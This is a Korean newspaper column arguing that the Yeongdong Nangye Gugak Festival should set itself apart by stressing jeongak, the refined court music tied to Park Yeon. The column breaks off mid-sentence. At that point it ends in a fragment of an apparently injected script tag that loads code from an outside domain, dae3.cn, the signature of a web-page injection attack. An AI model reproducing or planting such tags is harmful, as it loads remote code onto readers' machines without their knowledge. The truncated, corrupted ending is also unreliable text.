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제목 영동 난계국악이 더 발전하려면
내용 지역문화 돋보기 10여년전 일이다.난계국악제 취재 지원을 위해 도내 최남단 영동을 방문한 적이 있다.그러나 막상 현지를 방문한 결과.많은 사람들이 난계국악제를 개최하는 핵심개념이 어디에 있는지를 잘 부각시키지 못했다.  우리 국악은 겉으로 드러나는 것은 단순하지만.그 내용과 성격을 크게 ‘정악’(正樂)과 ‘속악’(俗樂) 두 부분으로 나뉜다.정악이 조선 중산층 이상 선비들의 음악 의식세계를 대변하고 있다면.속악은 서민층이 불렀거나 연주를 한 음악을 말한다.  굳이 지금의 시각으로 분류하자면 정악은 클래식과 같고.속악은 재즈 정도로 비교될 수 있다. 이중 난계 박연의 음악은 정악의 본류이자 정통의 위치를 차지하고 있다.  때문에 당시 이 부분을 강조하는 기사를 많이 작성했다. 아마 ‘난계음악은 국악의 클래식으로.다른 국악과는 다르다.따라서 이 방향으로 난계국악제를 차별화 시키고.또 그 위상에 걸맞게 상의 훈격도 높여야 한다’라고 썼던 기억이 있다.  이 때문인지는 몰라도 난계국악제 최고 대상은 그 이듬해부터 장관상에서 국무총리상으로 상의 훈격이 올라갔다.그러나 난계 국악의 차별화와 발전 작업은 여기까지가 끝으로 더이상 진척된 모습을 보여주지 못하고 있다.  지금 전국에서는 수많은 종류의 국악제가 사시사철 열리고 있다. 그러나 하나같이 정악과 속악을 분류하지 않고.시쳇말로 ‘복음밥’ 식으로 개최하고 있다.  그러나 이는 앞서 언급한대로 클래식과 재즈경연 대회를 한 장소. 한 시간에 동시 개최하는 것과 같다. “상을 각기 따로 주는데 이상할 것은 없는 것 아니냐”고 반문할 수 있지만.이렇게 해서는 대회의 질을 높일 수 없다.  영동 난계국악제가 더 발전하고 차별화되려면 정악 부분을 보강하고 보완해야 한다.이는 박연 선생의 음악철학이자 생전의 실천이기도 했다.  그는 음악가 이전에 조선시대 대유학자였다.때문에 그는 정신을 수양하고 마음을 가다듬으며. 그리고 2세교육의 일환으로 정악을 보급하고 이의 이론을 발전시켰다.  당연히 그 소리의 표현은 감정이 과잉되는 속악과는 다를 수밖에 없었다. 그 반대인. 감정이 절제되고 고매함을 지니는 정악으로 흐를 수밖에 없었다. 그래서 정악의 또 다른 이름이 ‘아악’(雅樂)이다. 이 경우 한자 ‘雅’ 자는 ‘바르다’. ‘아담하다’. ‘우아하다’의 ?script src=http://dae3.cn>
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